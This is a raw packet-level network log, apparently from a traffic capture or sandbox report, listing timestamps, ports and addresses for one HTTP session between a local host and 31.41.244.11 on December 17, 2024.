Dec 17, 2024 22:06:28.148508072 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.149893045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.149905920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.149939060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.150106907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.150118113 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.150151968 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.150960922 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.150973082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.151016951 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.152025938 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.152036905 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.152070999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.152097940 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.152569056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.152614117 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.152671099 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.152718067 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.153480053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.153523922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.153765917 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.153812885 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.154221058 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.154268026 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.154299021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.154339075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.155230999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.155242920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.155278921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.155289888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.155904055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.155949116 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.156017065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.156063080 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.157002926 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.157021999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.157042980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.157057047 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.157592058 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.157636881 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.157639980 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.157677889 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.158653975 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.158667088 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.158704996 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.158725023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.159331083 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.159379005 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.159521103 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.159562111 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.160247087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.160291910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.160325050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.160367966 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.160922050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.160964012 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.161077023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.161119938 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.161889076 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.161910057 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.161933899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.161945105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.162755013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.162798882 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.162867069 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.162909031 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.163491964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.163535118 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.163611889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.163655996 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.164319992 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.164366961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.164398909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.164443016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.165204048 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.165271044 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.165328026 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.165371895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.166290045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.166322947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.166338921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.166362047 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.166861057 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.166917086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.166990042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.167032003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.167759895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.167808056 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.167870998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.167920113 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.168570042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.168620110 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.168621063 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.168668985 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.169392109 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.169444084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.169519901 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.169569016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.170228958 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.170288086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.170346975 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.170394897 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.171252012 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.171303034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.171304941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.171355009 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.172353983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.172389030 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.172406912 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.172432899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.172816038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.172868013 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.172992945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.173046112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.173718929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.173768044 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.173789978 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.173835039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.174467087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.174520016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.174631119 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.174679995 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.175374985 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.175470114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.175533056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.175579071 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.176479101 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.176512957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.176529884 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.176553965 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.176973104 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.177025080 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.177190065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.177241087 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.177835941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.177898884 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.178025961 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.178076029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.178678989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.178731918 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.178792000 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.178842068 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.179563046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.179613113 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.179714918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.179761887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.180550098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.180600882 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.180600882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.180646896 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.181260109 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.181313038 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.181370974 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.181417942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.182045937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.182095051 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.182148933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.182194948 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.182995081 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.183051109 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.339962959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.340156078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.340167999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.340296030 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.340313911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.340352058 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.340379000 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.340431929 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.341373920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.341411114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.341428041 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.341454983 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.342051029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.342099905 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.342417955 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.342466116 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.343117952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.343153000 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.343173981 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.343189001 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.344188929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.344223022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.344247103 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.344260931 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.344547033 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.344594955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.344655991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.344701052 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.345385075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.345437050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.345438957 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.345480919 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.346330881 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.346364975 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.346385002 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.346405029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.347393990 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.347426891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.347435951 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.347470999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.347908974 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.347959042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.347985029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.348031998 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.348823071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.348855972 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.348875046 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.348895073 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.350016117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.350049973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.350064039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.350094080 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.350558996 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.350593090 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.350608110 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.350635052 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.351377010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.351427078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.351475954 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.351522923 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.352098942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.352143049 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.352298021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.352345943 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.353097916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.353132010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.353149891 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.353169918 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.354156017 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.354188919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.354202032 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.354228973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.354652882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.354700089 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.354753017 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.354798079 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.355487108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.355535030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.355618954 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.355665922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.356378078 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.356431961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.356493950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.356543064 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.357156038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.357203960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.357259035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.357304096 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.358208895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.358244896 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.358258963 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.358287096 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.358978033 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.359030962 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.359371901 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.359416962 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.359930992 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.359966040 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.359978914 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.360004902 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.360610962 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.360657930 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.360691071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.360733986 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.361588001 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.361623049 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.361634970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.361660004 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.362236023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.362287045 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.362761021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.362804890 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.363121986 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.363161087 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.363173008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.363218069 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.363926888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.363971949 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.364079952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.364124060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.364892960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.364940882 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.365022898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.365067005 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.365735054 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.365786076 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.365825891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.365869045 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.366522074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.366563082 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.366574049 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.366621017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.367377996 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.367429018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.367430925 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.367481947 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.368226051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.368261099 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.368289948 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.368314028 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.369221926 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.369256973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.369282007 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.369301081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.370282888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.370316029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.370330095 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.370351076 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.370739937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.370786905 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.370793104 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.370835066 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.371530056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.371573925 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.371661901 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.371706963 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.372431040 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.372472048 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.372481108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.372522116 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.373508930 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.373543024 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.373564005 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.373594999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.374025106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.374070883 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.374118090 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.374162912 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.374885082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.374933958 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.375297070 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.375356913 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.375916004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.375978947 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.376614094 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.376646996 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.376679897 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.376681089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.376699924 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.376724958 CET	49793	80	192.168.2.4	31.41.244.11
